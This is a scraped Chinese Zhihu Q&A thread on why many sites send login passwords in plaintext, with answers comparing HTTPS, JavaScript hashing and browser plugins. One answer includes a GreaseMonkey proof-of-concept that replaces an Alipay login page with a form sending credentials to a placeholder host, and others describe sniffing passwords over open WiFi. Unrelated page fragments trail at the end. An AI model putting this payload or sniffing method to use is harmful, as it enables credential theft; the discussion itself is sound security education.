1&&&&&&&&&&国内大多数网站的密码在 post 传输过程中都是明文的，这正常吗？
下午用Chrome自带的审查元素看了下登陆过程，到目前为止（ 16:26:45），发现这几个网站是明文密码的：知乎，豆瓣，博客园，verycd，未修改的wordpress最新版（个人博客）。
按投票排序
看到上面几位的回答，我真心觉得，当前信息安全保护的意识过于低下，连一些基本的保护措施都能够被认为是「没有必要」。同意@任冬 的观点，都在偷懒，不重视安全，没有什么理由好开脱的。如同@lumin 所说，信息安全的保护确实分成两个部分，端的安全（可以具体到客户端和服务器端）和链路的安全，也就是传输过程中的安全。一般我们可以认为，端都是可信的。对于服务器端，你愿意使用这个公司提供的服务，一个隐含的条件就是相信这个提供服务的公司，所以服务器端可以认为是比较安全的。而客户端，你愿意使用这台电脑，也表明你认为这台电脑是比较安全的。只有对于一些安全级别更高的业务，比如在线交易，才需要额外的再对客户端的安全性做一次校验。但是，要真正的保证客户端安全是很难的，需要使用像可信计算这样的技术。常见的能够很大程度保护客户端安全的设备，比如iOS设备、PSP之类的游戏机，也是能够遭到破解，所以这个问题至今没有比较完善的解决方案。通常我们认为，自己肯定不会给自己的电脑装上木马，网吧的老板一般不会跟黑客一伙，也不会在网吧的电脑上装木马。所以保护的焦点，应该集中在通信的链路上，而不是端上，而且，在链路上进行窃听，比在大部分时候在端上进行攻击都来得有效和难以发现。一个很简单的例子，如果我用笔记本在一个外租房比较密集的小区，建立一个无密码的WiFi热点，保证很多试图蹭网的人连接上来，然后如果我用WireShark（或者用WinPcap写一个过滤程序），监听WiFi收到转发的数据包，那一定能截获大批的用户名和口令，至少，如果他上知乎，用户名和口令我一定能得到。这个例子也说明了，各位千万不要贪图小便宜而去蹭别人的WiFi，这是一个对自己来说很危险的行为。实施网络窃听是如此的容易，甚至不需要额外安装什么黑客软件就可以进行。对于很多场合，我们对于传输的内容被窃取并不关心，我不怕别人知道我看了什么新闻，也不怕别人知道我在知乎回答了什么问题，但是用户名和口令这样的身份鉴别信息是绝对不可以被窃取的，因为可能会引起一系列其他的安全问题，CSDN泄漏以后大家都在改密码就能说明问题。对于关键身份鉴别信息在传输时进行加密是一种非常有必要，而且也是非常重要的事情。至于安全成本问题，我觉得，一个开发人员的薪水一年是十万以上，一年三五千的SSL证书，对于一个网站来说，根本就是九牛一毛。
没有 HTTPS 的网站都是对用户安全不负责任的。HTTPS 当然有成本，证书只是一方面，服务器负责是另一方面。当然百度不愿意实现 HTTPS 登录，理由是服务器成本，因为 HTTPS 加解密开销是普通 HTTP 的几倍。不过你看 Gmail 和 Facebook 都默认全站 HTTPS 了，你说你只有登录做 HTTPS 也做不到，这就是基本的安全保障都不提供啦？
中国电信可以把你的HTTP请求替换为广告和一个iframe，同样可以截获你的所有密码。
都偷懒，不重视安全。这个没什么理由好开脱的。一般来说，登录的界面用https还是挺多的（技术实现比较简便），但是有个问题就是第一次打开速度太慢。比http方式慢不少很多游戏的登录都是这个方式，如：的登录方式就是https的也是为了保证浏览速度，可以采用js加密方式用js加密可以采用非对称加密技术，如：rsa加密算法，就算中间人截获数据包，也不知道真实的密码qq就有登陆采用js加密的，如：的登录也是采用http+js加密方式优点就是速度快这两个解决的都是传输过程中的安全，一般基本就够用了。如果还要解决输入的安全，只能安装浏览器插件了。比如很多银行登录，支付登录，都会有要求，这个也要看插件和操作系统结合的紧密程度，我之前的主管可以写程序截获安装了银行插件的按键记录。最好还是开发这块重视起来。
稍微纠正一下其它答案中的问题。js加密（比如腾讯）没什么安全性可言，攻击者只要把你访问的页面整个替换掉就可以了。共用路由器的话，用ARP病毒应该很容易做到。按照类似的逻辑，只要在登录的时候用户看不到地址是https，任何“其它方法”都不安全。就不必讨论js或者类似方案了。就算是用插件登录，在很多时候，攻击者也可以修改页面，让输入框根本不使用这个插件。所以除非插件另外有验证页面内容的功能，还是不能不使用https。而且就算使用https，对于本地的病毒之类的问题，有些插件也不能阻止攻击者绕过这个插件。比如以下GreaseMonkey脚本在Linux，Firefox中验证成功，Windows和其它浏览器就不逐个尝试了（如果Windows不行的话，还有一种合理的解释是Linux版仅仅用于避免Windows用户访问“更不安全”的页面）。以下脚本仅仅用于验证概念。真正用于攻击的话，首先要把页面做得和支付宝官方页面比较像，还要能自动给Firefox安装脚本，最好还能避免用户发觉，让用户以为登录不上去是因为网络错误或密码错误。// ==UserScript==// @name
alipay hacker test// @namespace
afdsjalfwhahefhwadskla// @include
https://www.alipay.com/// @version
1// @grant
none// ==/UserScript==document.body.innerHTML='&form action=“https://www.example.com" method="get"&&input name="username"&&input type="password" name="password"&&input type="submit"&&/form&'所以说，插件在很多时候也都是自欺欺人。可能阻止了一部分流行的病毒的行为，但是有针对性的攻击是否也能阻止，难说。只考虑网络安全的话用https即可，不需要另外的插件。更进一步地说，考虑病毒的影响的话，某些直接使用自己的客户端的验证方式也无法保证安全。比如某个病毒作者自己做一个登陆框，替换掉QQ.exe，QQ自身没有任何防范方法。只是用户很快就会发现问题而已，因为登录不上去。对QQ可能影响不大，但是想象一下要是有银行用类似的方法，病毒可以在攻击者得到密码之后，立即破坏系统文件，切断用户的网络，可以稍微用蓝屏之类的方式掩饰一下，避免用户很快直接联系银行，然后攻击者立即将用户的存款转出。只是病毒的体积可能有些大，看现在的网速可能也不是很大的问题。网速比较快的话，USB Key也可以做个程序远程与硬件交互，攻击者那边再装个虚拟的硬件驱动，实在不行就用虚拟机。有些设备可能解决了这些问题，毕竟网络不太可能完全没有延迟，而且带宽有限。有些设备可能没有，或者目的仅仅是避免依赖于密码。但是比如说，使用手机短信验证，而且保证手机不中毒，或者比如说使用带有屏幕的USB Key，那么应该是安全的。不过个人认为受盗号影响不大的普通网站没必要在用户自己中毒造成的问题上下太多功夫。这是用户自己和杀毒软件的责任。另外关于明文存储密码，有些人有概念错误（以下专业的人可以不必看）。明文存储密码不是要避免有人用用户的密码去登录其它网站，而是在网站自身的数据库泄露之后，避免有人直接用泄露的密码直接登录自己的网站。“从技术上保证一个网站的密码不能用于登录另一个网站”，不应该是网站的责任，而是浏览器应该做的事，虽然现在没有哪个浏览器做了这件事。服务器的数据库的所谓密码加密，其实是不可逆的hash，hash之后直接与数据库比较。但是js加密（或者https加密）要是用同样的方法的话，攻击者得到加密之后的内容，就可以跳过js加密的步骤，用加密后的内容直接通过验证。所以任何客户端的加密方法，都应该保证一个加密后的数据不能重复使用两次。使用的算法一般应该是可逆的，也有一些其它方案，比如两次操作顺序可交换的不可逆算法。所以以上就有三种不同意义的加密：1.用户在不同网站上使用不同的密码；2.传输过程中的加密；3.网站自身数据库的加密。如果要达到目的，任何两个都不能共用同一加密过程。第一条比起在浏览器上实现这个功能，现在似乎有个另外的趋势是用一个账号登录多种服务。实际上有一些安全隐患，因为某些不重要的小网站可以用QQ、微博账号登录，某些购物网站一样也可以用QQ、微博账号登录。这样在某些明知不安全的环境，可能比如一些网吧，注重安全而又想登录小网站的人就会比较困扰。补充：本答案的主要目的是“稍微纠正一下其它答案中的问题。”太长无法作为评论，而且很多答案的问题相似，所以作为一个答案发出来，仅此而已。所以以上各段大体上说的也不是同一件事，也不都与题主的问题有关。如果对某一部分本来就没有疑问，也没有看到别人与此矛盾的说法，可以自行忽略。关于病毒的部分，我没有打算特别去说病毒的问题，也不认为一般网站应该考虑病毒的问题。只是因为看到有其他回答把插件和https相比较。我是说很多浏览器插件并不能完全代替https的作用，所以两者很难直接比较。就算用js+插件的方式，如果不实现完全类似于https的功能的话，也很难达到https那样的安全性。简单地说：1.arp攻击可以篡改数据；2.篡改程序的形式的中间人攻击基本无技术含量；3.只要地址栏不写https，或者用户不明确知道地址栏应该是https，就有篡改程序的机会；4.大部分插件并不能代替https，即使用了插件也同样需要https，除非这个插件也具备某些人所认为的https的全部“缺点”；5.要达到服务器不保存明文密码所要实现的目的，一般服务端需要把传输的数据还原成明文，前后两个步骤互相独立，不能混同，也存在其它方法，但是客户端的操作也不是简单的hash，即使是不能防止篡改数据的js加密，也应该确实是加密，而不是只有hash；6.是否明文传输密码（题主的问题）、是否明文保存密码、是否能防止一个网站密码泄露影响其它网站，是三件不同的事，不建议混合起来讨论，就像我这样；否则可能导致很多误会，就像我这样。
the big brother is watching you
这里其实提到安全问题，对于安全问题应该分为以下几种阶段：1、客户端安全（表现为数据录入时的安全）2、客户端到服务端之间信息传输安全（也就是你提到的数据传输时的安全）3、服务端的安全（服务端密码存储的安全）应该说是绝大多数网站因为安全界别的关系只要保证服务端安全就可以了，所以你看到的很多网站都是明文传输的！如果非明文，有几种做法：1、HTTPS，做加密签名2、js加密后传输（不确定，因为很少这样做，但我觉的应该是可以的）3、做浏览器插件，进行数字信息保护。但其中还有问题。1、2都无法做到绝对的安全，因为键盘是可以程序监控的。智能保证客户端到服务端传输过程中的安全。3可以做模拟键盘，点击输入。相对来说无法做到键盘监控，而且传输数据也有保障。2用JS加密因为JS脚本本身就是可下载的，所以加密方式泄露也会产生不安全问题。而且我很少看到有用JS加密后进行传输的。其实能看出要做到绝对的安全，成本比较高。所以网站基本都会评估自己对帐号信息所要保证的安全级别再结合自己本身的业务来选择做到什么程度。安全界别最高的，涉及到金钱交易，比如：电子商务，网银等。都采用第3种做法。安全界别稍高的，需要注意到信息丢失代码的一些列影响，比如，微博的APP种的API KEY等信息丢失带来的一系列后果和影响。安全界别较低的，只要保证帐号在平台内足够安全就可以了，比如：知乎、豆瓣等。因为密码丢失本身不会带来过于严重的问题，内容丢失、剽窃、乱输入相对来说影响较小，而且容易恢复。所以一般明文传输的网站用户协议里面应该会包含用户应该自己保证自己的帐号安全，如果是用户丢失的（未到达服务端之前），后果由用户承担，如果网站弄丢了，则站方承担责任。明文传输成本较低，而且一些网站不需要那么高级别的要求，再加上如果真用高级别的安全来要求一些不需要很高安全级别的网站，也会带来一系列很麻烦的问题。你希望在你上知乎的时候下载安装插件吗？估计你会逼疯。 所以明文传播也比较正常。
另外补充一下明文传输并不像想象那么可怕……事实上正常情况下这些报文你根本监听不到，除非你种木马、入侵路由器、局域网监听等。所以在这种情况下互联网公司一般没必要花太大代价进行这个加密的。
楼上，js做md5/sha1之后到server端没法验证了阿。因为根本无法正常解密。而且，纯md5/sha1并不安全，sniffer到秘文然后rainbow table直接lookup就ok了阿。至于在客户端JS做md5/sha + salt + pepper的方式，貌似很少有这么做的？
看到答案里有人提到用 MD5 代替明文，这样做其实是没有意义的，第一可以重放，第二可以用彩虹表。老老实实上 SSL 吧。
不安全。我两年前做过一个测试，用代理服务器截获浏览器的请求，在截获的报文中，明确可以看到用户填写的用户名密码。这意味着，在网络传输的任何一环，只有有人截获http报文，就可以看到用户名密码信息。理论上，提供wifi的计算机是可以用代理直接截获用户信息的。
如果是因为网站明文存储你的密码，导致损失，那就是网站方的责任了。如果是因为你在传输过程中被监听了，导致损失，那大部分用户会觉得这是个人的问题。所以作为一个网站来说，在服务器端会使用MD5来存储你的密码，但是不会去考虑使用 https 的方式去保证传输的安全性。
加密需要计算量，money啊！！，不是谁都能像google那样财大气粗的！！没有绝对的安全，对于商业公司，利益与安全的权衡，得与失的权衡更重要。
这个没什么好说的，明文post用户的登录密码就是对用户的侮辱，除非用的https。一般来说网站没有义务保证客户端安全（用户使用安全的浏览器，保证本地输入不被侦听），但是从发出post请求，再到服务器验证，这个过程必须加密。纯md5加密，因为现在md5被破的差不多，大部分用户的密码也相对简单，所以严格来说并不安全。至于@lumin 说的第二种方法，虽然js是公开的，但是使用非对称加密，或者直接用md5 sha1之类的是没问题的
不单是国内的网站，IBM网站用IBM ID登录是明文、苹果APPLE ID也是明文（但是HTTPS）。我的观点是：如果是通过浏览器插件实现加密，对于大多数网站来说为了安全而要求用户安装插件所产生的用户体验的牺牲是不值得的；而如果是JS方式，对于惦记你密码来说的人，也没有实际的障碍；还有是HTTPS，个人觉得性能什么的还是其次，可以参考中提到的SSL 证书通常需要绑定 IP，不能在同一 IP 上绑定多个域名。
MD5加密虽然很弱，但一次MD5就可以防止相对安全的密码被逆向出明文，然后再在其他网站使用。JS两三行代码的逻辑而已。加个固定的盐值，就能防止已有的彩虹表攻击，多次MD5更是增加了碰撞攻击的计算成本，至此，除了不能防止重放攻击。加动态token验证，就需要服务端加逻辑配置，可以防止重放攻击，但不能防止中间人攻击。HTTPS方式就安全很多，但HTTPS成本的确很高，一般网站不做这一步倒是情有可原。安全是一步一步来的，不能因为某一步达不到绝对的安全，就弃而不用，哪怕简单的MD5都有它的作用。其实现在这么赤裸的现状，相对与程序员偷懒，我更相信是老大哥的阴谋论，来收集更多网民的明文密码。
看了答案发一下自己的总结加看法：https是ssl加密的http隧道，这是正规而且是未来的普遍方法。实现条件：服务端需购买ssl证书；服务器软件开销增加。其他是非正规方法，js加密尤其是。偏要反逆ssl大潮而行的公司不是好公司。
大家的安全意识不强，有些互联网公司为了减少成本，在安全方面能省就省，导致很多重要系统登陆页面连最省钱最基础的SSL证书也没有安装。
提供一个方案供参考。客户端做md5/sha1，post到服务端；服务端再对post过来的内容做md5/sha1；最后跟数据库中保存的密码比对。-----------------------------------------------------这个方案只能保证即使后台数据库泄露，也不会暴露用户的初始密码。评论中知友提到的线路被监听的情况，这方案依旧无力。
安全是相对的。涉及到支付、交易、金融相关的网站至少应该做到ssl服务器证书加密传输。这几天我们平台也在做这个工作。
已有帐号？
社交帐号登录
无法登录？
社交帐号登录今天免费公布一下快速网站备案的秘密方法_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
今天免费公布一下快速网站备案的秘密方法
上传于||文档简介
&&1​如​何​去​掉​羞​怯​那​层​茧
阅读已结束，如果下载本文需要使用5下载券
想免费下载本文？
下载文档到电脑，查找使用更方便
还剩2页未读，继续阅读
你可能喜欢【大拿分享】网站收录怪象： 那些关于收录的秘密_最新文章_站长学院_百度站长平台
【大拿分享】网站收录怪象： 那些关于收录的秘密}